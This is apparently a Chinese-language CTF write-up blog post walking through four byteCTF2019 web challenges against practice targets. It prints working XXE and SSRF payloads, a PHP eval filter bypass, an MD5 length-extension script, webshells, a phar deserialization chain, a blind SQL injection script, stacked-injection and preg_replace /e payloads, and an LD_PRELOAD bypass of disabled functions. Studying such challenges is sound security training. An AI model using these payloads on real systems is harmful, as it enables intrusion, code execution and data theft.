k0t0r1

byteCTF2019 web 复现
九月初的比赛,当时划水了一天半,第二天后面才做了一道题
扫描右侧二维码阅读全文
13
2020/03

byteCTF2019 web 复现

九月初的比赛,当时划水了一天半,第二天后面才做了一道题

rss

这题莫得靶机只能列下知识点

这题是一个解析RSS的题,限制只支持aliyun.com、qq.com、baidu.com。不过由于php是不检查MIME头的,所以可以使用data://baidu.com/plain;base64,这样去绕过对host的限制,然后后面跟上base64后的RSS文档就行

没用过RSS,但看到RSS的标准文档后,这东西是一种xml,也就是说有可能存在XXE

于是向头部添加一个内部实体

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0">

<channel>
  <title>菜鸟教程首页</title>
  <link>http://www.runoob.com</link>
  <description>免费编程教程</description>
  <item>
    <title>RSS 教程</title>
    <link>http://www.runoob.com/rss</link>
    <description>菜鸟教程 Rss 教程</description>
  </item>
  <item>
    <title>XML 教程</title>
    <link>http://www.runoob.com/xml</link>
    <description>菜鸟教程 XML 教程</description>
  </item>
</channel>

</rss>

base64后提交,成功读到/etc/passwd

接着用伪协议去读一下源码

php://filter/read=convert.base64-encode/resource=index.php

<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
    if(file_exists('./classes/'.$class_name.'.php')) {
        require_once './classes/'.$class_name.'.php';
    } else if(file_exists('./controllers/'.$class_name.'.php')) {
        require_once './controllers/'.$class_name.'.php';
    }
}

index.php中引入了routes.php,同时有classes和controllers这两个目录

<?php

Route::set('index.php',function(){
    Index::createView('Index');
});

Route::set('index',function(){
    Index::createView('Index');
});

Route::set('fetch',function(){
    if(isset($_REQUEST['rss_url'])){
        Fetch::handleUrl($_REQUEST['rss_url']);
    }
});

Route::set('rss_in_order',function(){
    if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
        Admin::createView('Admin');
    }else{
      if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
        Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
      }else{
       echo ";(";
      }
    }
});

route.php中可以看到有一个接收rss_url和order参数的控制器admin,但需要本地访问,也就是要ssrf

<?php

class Admin extends Controller{
    public static function sort($url,$order){
        $rss=file_get_contents($url);
        $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
        require_once './views/Admin.php';
    }
}

controllers/admin.php访问url并解析xml

<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
    die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
    ?>
<div class="rss-head row">
    <h1>RSS解析失败</h1>
    <ul>
        <li>此网站RSS资源可能存在错误无法解析</li>
        <li>此网站RSS资源可能已经关闭</li>
        <li>此网站可能禁止PHP获取此内容</li>
        <li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
    </ul>
</div>
<?php
    exit;
};
function rss_sort_date($str){
    $time=strtotime($str);
    return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
    <div class="col-sm-12 text-center">
        <h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
        <span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
        <p><?php echo $rss->channel->description;?></p>
        <?php

            if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
                echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
            }
        ?>
    </div>
</div>
<div class="article-list" style="padding:10px">
    <?php 
    $data = [];
    foreach($rss->channel->item as $item){
        $data[] = $item;
    }
    usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    foreach($data as $item){    
    ?>
        <article class="article">
            <h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
            <div class="content">
                <p>
                    <?php echo $item->description;?>
                </p>
            </div>
            <div class="article-info">
                <i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
                <i style="margin:0px 5px"></i>
                <?php
                    for($i=0;$i<count($item->category);$i++){
                        echo $item->category[$i];
                        if($i+1!=count($item->category)){
                            echo ",";
                        }
                    };
                    if(isset($item->author)&&$item->author!=""){
                ?>
                        <i class="fa fa-user" style="margin:0px 5px"></i>
                <?php
                        echo $item->author;
                    }
                ?>
            </div>
        </article>
    <?php }?>
</div>
<div class="text-center">
    免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

views/admin.php主要看到这里

    <?php 
    $data = [];
    foreach($rss->channel->item as $item){
        $data[] = $item;
    }
    usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    foreach($data as $item){    
    ?>

这里用了create_function(),同时$order可控,直接RCE就是了

由于要求127.0.0.1,那就用XXE让服务器访问自己。rss_url填个能用的,order命令注入就完事了

payload

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >

boring_code

这题当时是队友分析的,后半天fuzz好久才找到一个能用的payload

进入题目就是一个猛男对视,F12提示flag在index.php里,同时有个code目录,于是进入code得到源码

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

echo $_POST['url'];
if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/localhost$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

通过传入的url去读取其目录下的文件,然后执行文件中的内容。逻辑简单但有四层过滤

第一、二层限制了只能使用baidu.com作为host的链接,如果没有第一层的话是可以通过data://baidu.com/plain;base64, 这样去绕过的,但被限制了。这里绕过的方式有几种,最简单的就是氪金买域名(队里的大佬tfl),或者通过百度的url跳转(百度一下后去看看链接的href就是了),或者百度云
第三层的正则限制了只能左右括号要匹配,同时无参。本来一开始以为是只能像a(b(c()))这种,但后面发现像a(b())c()这样也是可以的
第四层就是过滤了一堆函数

当时整出基本思路就是,先整出一个.,然后用scandir()扫目录,接着用end()取到index.php,最后readfile()输出。问题就是在怎么搞出.,一开始想着构造chr(46),但弄了很久搞不出46(主要是strlen()被过滤了)

于是另寻它路,当时不知道怎么fuzz的发现"也是可以让scandir()扫该目录下的文件。然后翻手册中的函数尝试
函数和方法列表
fuzz了很久发现,bzcompress()可以输出各种符号,于是进行多次尝试后,成功得到bzcompress(serialize(array(array(abs()))))
这个输出的字符串最后一位是",用strrev()逆序再用ord()获得第一个字符的ascii码,chr()转回来就获得了单个",当时给出的payload是
readfile(end(scandir(chr(ord(strrev(bzcompress(serialize(array(array(abs()))))))))));
bzcompress()需要扩展,这个题目环境并没有,只能找其它方法了

接着尝试了一下crypto(),发现这个函数是有挺高的几率尾部是.的。于是一波
readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
但这时队友提示这里还只是再code目录下,要回到上级目录才能读到

于是就尝试了一下if()回到上级目录,也就是这里才发现那个正则是a(b())c()这样匹配的
用同样的方法扫目录,然后next()读到..chdir()去到上级目录,于是最终的payload就是
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
由于要读两回,几率小了一些

没买域名就改成了localhost

EzCMS

登录进去,可以看到目录下有个.htaccess,传个图片试试,提示需要admin

于是用admin作为用户名登录进去,但上传还是提示非admin。于是搜集一下信息发现www.zip给了源码,读一波

index.php中限制了psw不能为admin

    if ($password === "admin"){
        die("u r not admin !!!");
    }

然后去看一下config.php中的login()

function login(){
    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;
}

基本确定这里要哈希扩展了

然后沿着upload.php读,读到Profile类

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }

这里要求与哈希后的值相等,那就哈希扩展一波

不知长度于是写一波脚本

# -*- coding: utf-8 -*-
import requests
import base64
import my_md5
import time

def md5_attack(samplehash, num, msg1, msg2):
    s1=eval('0x'+samplehash[:8].decode('hex')[::-1].encode('hex'))
    s2=eval('0x'+samplehash[8:16].decode('hex')[::-1].encode('hex'))
    s3=eval('0x'+samplehash[16:24].decode('hex')[::-1].encode('hex'))
    s4=eval('0x'+samplehash[24:32].decode('hex')[::-1].encode('hex'))

    secret = "a"*num
    length = num + len(msg1)
    test=secret+msg1+'\x80'+'\x00'*((512-length*8-8-8*8)/8)+chr(length*8)+'\x00\x00\x00\x00\x00\x00\x00'+msg2
    s = my_md5.deal_rawInputMsg(test)
    r = my_md5.deal_rawInputMsg(secret+msg1)
    inp = s[len(r):]

    res = {'str':test[num:], 'hash':my_md5.run_md5(s1,s2,s3,s4,inp)}
    return res



url = "http://fc4183f4-3d2c-4251-86f0-a6ad94130f54.node3.buuoj.cn"
upload = "http://fc4183f4-3d2c-4251-86f0-a6ad94130f54.node3.buuoj.cn/upload.php"
for i in range(20):
    res = md5_attack("52107b08c0f3342d2153ae1d68e6262c",i,'adminadmin','admin')
    user_psw = res['str']
    data = {
        'username':'admin',
        'password':user_psw[5:],
        'login':"提交"
    }
    cookies = {
        'PHPSESSID':'cf8e7d852e9d67dedc3dbec6f4860088',
        'user':res['hash']
    }
    r = requests.post(url = url, data = data, cookies = cookies)

    test = b"""test
    # """
    files = [('file',('1.jpg',test,'image/jpeg'))]
    data = {"upload":"提交"}
    r = requests.post(url = upload, data = data, files = files, cookies = cookies)

    if 'u r not admin' not in r.text:
        print r.text
        break
    print i
print res['hash']

这里真的整傻我了,怎么跑都跑不出来还以为是之前哈希扩展的脚本有问题,后面才发现比较的是cookie中的user,巨坑

能上传后,直接传一句话然而有check

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }

由于是php7,于是可以用复杂变量绕

<?php
$a = $_GET['a'];
$b = $_GET['b'];
$a($b);

不过传成功后访问显示500,八成是那个.htaccess在搞鬼,导致这个目录下php执行不了。那只能想办法在其他目录下执行,或者把这个.htaccess重写或删掉。由于不知道临时目录在哪,也没有能目录穿越的地方,只能想办法重写或删掉.htaccess

翻一下config.php,可以看到File类中过滤了phar等一系列协议,同时使用了mine_content_type(),在SUCTF中也说过,想

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

在SUCTF中也出现过类似的过滤,可以使用php://filter/resource=phar来绕过,而且像mine_content_type()这种要读取文件的方法大概率都可以用来phar的反序列化,猜测这题是要利用phar反序列化了

接着找一下哪里使用了File类,在view.php中找到

<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;

上传再用这里访问就没问题了,于是找链

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

看Profile发现,__call()中调用了admin的open(),而config.php中只有File类有open(),但File类并没有用到Profile类。那这个“没用”的admin可能是给我们用来反序列化的,于是去内置类中查查看有没有能利用的类有open()

fuzz一下发现这几个类

<?php
$a=get_declared_classes();
foreach($a as $class){
    $arr_func=get_class_methods($class);
    if(in_array('open',$arr_func)){
        echo $class.'<br>';
    }
}

SessionHandler
ZipArchive
XMLReader
SQLite3

接着去翻一下手册看看

ZipArchive类的open()可以传入两个参数,第二个参数为打开的模式,当模式为ZIPARCHIVE::OVERWRITE时会覆盖掉文件

那就是要想办法调用到Profile类的__call()
回到File类,看到__destruct()

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

这里调用了checker的upload_file(),而Profile类中没有upload_file(),也就是将checker设置为Profile类就可以调用到__call()

于是构造反序列化

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct()
    {
        $this->checker = new Profile();
    }
}

class Profile{
    public $username;
    public $password;
    public $admin;  

    function __construct(){
        $this->username = "/var/www/html/sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
        $this->password = ZIPARCHIVE::OVERWRITE;
        $this->admin = new ZipArchive(); 
    }
}

$phar = new Phar('file.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); 
$file = new File();
$phar->setMetadata($file);
$phar->addFromString("1.txt", "test"); 
$phar->stopBuffering();

执行得到phar文件后上传,在view.php访问
?filename=c45de65f3d56f100e72db6efa4298d62.phar&filepath=php://filter/resource=phar://sandbox/2c67ca1eaeadbdc1868d67003072b481/c45de65f3d56f100e72db6efa4298d62.phar

再访问一下测试的php

执行成功,之后如果再次返回upload.php的话,需要重新重写一次.htaccess

接着访问之前写好了的php
?a=system&b=cd ../../../../../../;ls

?a=system&b=cat /flag

babyblog

注册有一个md5截断,脚本跑一波

进去有发布、编辑、删除、查看四个界面,感觉像是sql注入但是被单引被过滤了。搞了很久没什么想法扫一下发现给了源码www.zip

直接看writing.php

<?php
include("config.php");

if(!isset($_SESSION['id'])){
    header("Location: login.php");
    exit();
}

if(isset($_POST['title']) && isset($_POST['content'])){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
    exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}else{
    include("templates/writing.html");
    exit();
}

这里对title和content都进行了addslashes()转义

<?php
include("config.php");

if(!isset($_SESSION['id'])){
    header("Location: login.php");
    exit();
}

$article = array();
foreach($sql->query("select * from article where userid=".$_SESSION['id'].";") as $row){
    array_unshift($article, $row);
}

include("templates/index.html");

index.php用的是session中的id,基本是利用不了

<?php
include("config.php");

if(!isset($_SESSION['id'])){
    header("Location: login.php");
    exit();
}

if(isset($_GET['id'])){
    foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){
        $row = $v;
    }
    if($_SESSION['id'] == $row['userid']){
        $sql->query("delete from article where id=" . intval($_GET['id']) . ";");
        exit("<script>alert('Deleted successfully.');history.go(-1);</script>");
    }else{
        exit("<script>alert('You do not have permission.');history.go(-1);</script>");
    }
}

delete.php将传入的id进行了intval(),也无法利用

<?php
include("config.php");

if(!isset($_SESSION['id'])){
    header("Location: login.php");
    exit();
}

if(isset($_GET['id'])){
    foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){
        $row = $v;
    }
    if($_SESSION['id'] == $row['userid']){
        include("templates/edit.html");
        exit();
    }else{
        exit("<script>alert('You do not have permission.');history.go(-1);</script>");
    }
}

if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
    foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
        $row = $v;
    }
    if($_SESSION['id'] == $row['userid']){
        $title = addslashes($_POST['title']);
        $content = addslashes($_POST['content']);
        $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
        exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
    }else{
        exit("<script>alert('You do not have permission.');history.go(-1);</script>");
    }
}

不过在edit.php可以看到,虽然对传入title和content进行了addslashes()转义,但是通过sql查询得到的row中的数据并没用转义。尽管之前进行过addslashes()转义,但只是在sql执行时对特殊字符前加一个\防止当作关键字使用,存入数据库的依旧是原本传入的数据。而这里取出时没转义,那就可以利用这里进行注入

不过就算有注入点,在config.php

<?php
error_reporting(0);
session_start();

$sql = new PDO("mysql:host=localhost;dbname=babyblog", 'CTF2019', '*************') or die("SQL Server Down T.T");

function SafeFilter(&$arr){   
    foreach ($arr as $key => $value) {
        if (!is_array($value)){
            $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
            if(preg_match('/' . $filter . '/is', $value)){
                exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
            }
        }else{
            SafeFilter($arr[$key]);
        }
    }
}

$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);

可以看到过滤了一大堆字符

看源码可以知道回显和报错是不可能了,于是考虑一下时间盲注。但是sleep和benchmark都被过滤了,不过查一下可以查到一些神奇的时间盲注方式
MySQL时间盲注五种延时方法 (PWNHUB 非预期解)
这里直接用了里面的rlike注入,这个是依靠大量字符的正则匹配,让数据库无法立即响应导致延时,但我本地怎么测试都是一瞬间就完成的,不过拿到这题上却可以Orz
然后测试了一下select a from b是不行的,但select(a) from b可以,于是payload就是

1' || if((select(length(concat_ws(',',username,password,isvip))) from users limit 1)=38,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0
1' || if(ascii(substr((select(concat_ws(',',username,password,isvip)) from users limit 1),1,1))=63,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0

盲注脚本

# -*- coding:utf8 -*-  
import requests
import re
import time

w_url = r'http://aba94093-f182-4f37-9cae-548220b330fb.node3.buuoj.cn/writing.php'
e_url = r'http://aba94093-f182-4f37-9cae-548220b330fb.node3.buuoj.cn/edit.php'
cookie = {'PHPSESSID':'f27ec7d983efa78414a65ba23094d94a'}

l1 = 0
r1 = 100

p = 2

while(l1<=r1):
    mid1 = (l1 + r1)/2    
    payload = "1' || if((select(length(concat_ws(',',username,password,isvip))) from users limit 1)="+str(mid1)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
    print payload
    data = {
        'content':'aaa',
        'title':payload
    }
    http = requests.post(w_url,data=data,cookies=cookie)
    data = {
        'id':p,
        'content':'aaa',
        'title':'xxx'
    }
    p = p+1
    try:
        http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
    except requests.exceptions.Timeout:
        break
    time.sleep(1)
    payload = "1' || if((select(length(concat_ws(',',username,password,isvip))) from users limit 1)>"+str(mid1)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
    print payload
    data = {
        'content':'aaa',
        'title':payload
    }
    http = requests.post(w_url,data=data,cookies=cookie)
    data = {
        'id':p,
        'content':'aaa',
        'title':'xxx'
    }
    p = p+1
    try:
        http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
        r1 = mid1 - 1
    except requests.exceptions.Timeout:
        l1 = mid1 + 1
    time.sleep(1)

print 
print str(mid1)

res = ''
mid1 = 13
for j in range(mid1):
    l2 = 0
    r2 = 127
    while(l2<=r2):
        mid2 = (l2 + r2)/2    
        payload ="1' || if(ascii(substr((select(concat_ws(',',username,password,isvip)) from users limit 1),"+str(j+1)+",1))="+str(mid2)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
        print payload
        data = {
            'content':'aaa',
            'title':payload
        }
        http = requests.post(w_url,data=data,cookies=cookie)
        data = {
            'id':p,
            'content':'aaa',
            'title':'xxx'
        }
        p = p+1
        try:
            http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
        except requests.exceptions.Timeout:
            break
        time.sleep(1)
        payload ="1' || if(ascii(substr((select(concat_ws(',',username,password,isvip)) from users limit 1),"+str(j+1)+",1))>"+str(mid2)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
        print payload
        data = {
            'content':'aaa',
            'title':payload
        }
        http = requests.post(w_url,data=data,cookies=cookie)
        data = {
            'id':p,
            'content':'aaa',
            'title':'xxx'
        }
        p = p+1
        try:
            http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
            r2 = mid2 - 1
        except requests.exceptions.Timeout:
            l2 = mid2 + 1
        time.sleep(1)
    res = res + chr(mid2)
    print res

一开始还zz地去爆库表,后来突然想到源码里都给了表名了,白白浪费了一堆时间
不过跑出来的结果是只有我的账号???这要咋整?

于是继续搜集信息,发现还有一个replace页面,仅允许vip访问,于是看看源码

<?php
include("config.php");

if(!isset($_SESSION['id'])){
    header("Location: login.php");
    exit();
}

foreach($sql->query("select isvip from users where id=" . $_SESSION['id'] . ";") as $v){
    $row = $v;
}
if($row['isvip'] == 1){
    if(isset($_GET['id'])){
        foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){
            $row = $v;
        }
        if($_SESSION['id'] == $row['userid']){
            include("templates/replace.html");
            exit();
        }else{
            exit("<script>alert('You do not have permission.');history.go(-1);</script>");
        }
    }    

    if(isset($_POST['find']) && isset($_POST['replace']) && isset($_POST['id'])){
        foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
            $row = $v;
        }
        if($_SESSION['id'] == $row['userid']){
            if(isset($_POST['regex']) && $_POST['regex'] == '1'){
                $content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
                $sql->query("update article set content='$content' where id=" . $row['id'] . ";");
                exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
            }else{
                $content = addslashes(str_replace($_POST['find'], $_POST['replace'], $row['content']));
                $sql->query("update article set content='$content' where id=" . $row['id'] . ";");
                exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
            }
        }else{
            exit("<script>alert('You do not have permission.');history.go(-1);</script>");
        }
    }
}else{
    exit("<script>alert('You are not VIP so you cannot use this function.');history.go(-1);</script>");
}

这里判断数据库中存的vip是否为1,明显我的账号不是1。只能想办法整成1

这里要用到之前没注意过的一个点,在config.php中可以看到使用了PDO连接数据库。PDO在php5.3后支持多语句查询,这是能够堆叠注入的基础。而看源码可以知道所有的sql查询都是直接拼接入sql语句中的,导致PDO的预编译没起效果,因此可以使用堆叠注入

由于set前存在闭合的引号会被过滤,不能直接update,这里要用点小技巧。mysql支持预处理语句,预处理语句起着防止源码泄露后导致数据库结构的作用。预处理的主要用到三个语句

PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;

PREPARE用于设定好语句放入stmt_nameEXCUTE对应赋值并执行stmt_name,最后一个语句是用来解除掉预处理的,也就是如果解除掉stmt_name的预处理的话,用EXCUTE去执行就会报错

要使用预处理,就要用preparable_stmtstmt_name赋值,preparable_stmt可以直接是一个字符串,也可以是一个变量。而mysql中可以通过set @来设置一个临时变量,而mysql是在语句中可以解析16进制的,于是我们可以将语句转为16进制后赋给一个变量,然后放入预处理中执行
于是payload就是
';set @sql=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2761616161273b;prepare a from @sql;execute a;#

获得vip权限后读replace.php

    if(isset($_POST['find']) && isset($_POST['replace']) && isset($_POST['id'])){
        foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
            $row = $v;
        }
        if($_SESSION['id'] == $row['userid']){
            if(isset($_POST['regex']) && $_POST['regex'] == '1'){
                $content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

可以看到里面使用了preg_replace(),这里直接拼接的参数都是可控的,那我们就可以控制为使得正则表达式为//e以达到命令执行(需要php版本<5.6),这里还要用%00截断(需要php版本<5.3.4)一下后面的/
于是尝试去获得phpinfo

id=2&find=%2Fe%00&replace=phpinfo();&regex=1

成功获得,于是直接扔一个shell上去
file_put_contents('/var/www/html/xxx.php','<?php eval($_GET[\'cmd\']);?>');

接着用system()去读一下根目录

被禁用,于是去查查看phpinfo()

system等一系列系统函数都被禁用了,于是用scandir()

在扫上级目录时返回了提示open_basedir,再去看phpinfo()

设置了open_basedir,于是又要绕一波,不过由于ini_set()也被禁用了,要寻找其它绕过方式,这里整合了很多绕过的技巧

浅谈几种Bypass open_basedir的方法

这里用DirectoryIterator+glob://的方法扫一下根目录
cmd=$c = $_GET['c'];$a = new DirectoryIterator($c);foreach($a as $f){echo($f->__toString().'<br>');}&c=glob:///*

可以看到有readflag,但DirectoryIterator+glob://并不能执行命令,这里可以使用LD_PRELOAD + error_log()来绕(SUCTF说过的fpm好像也行,不过不知道题目环境有没有开就没弄了)

具体原理看这Bypass Disable_function

简单来说就是LD_PRELOAD可以设置预加载的共享库文件,当设置了后这个共享库文件的优先级甚至会大于libc.so,当共享库文件中有和libc.so一样的函数名的函数时,优先使用共享库文件中的函数
通过这种方式直接去修改底层的函数,控制某个php方法的执行,这样就可以不使用system()之类的方法也能达到命令执行。不过要预加载共享库文件,需要新开一个进程加载,这里原文的作者找到了mail()以及error_log()能够开启新进程

这里用构造器来写就可以不用去改已有的内置函数防止出错

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void flag(){
    unsetenv("LD_PRELOAD");
    system("/readflag > /var/www/html/flag.txt");
}

gcc -shared flag.c -o flag.so
生成共享库文件后用菜刀上传

最后执行一下
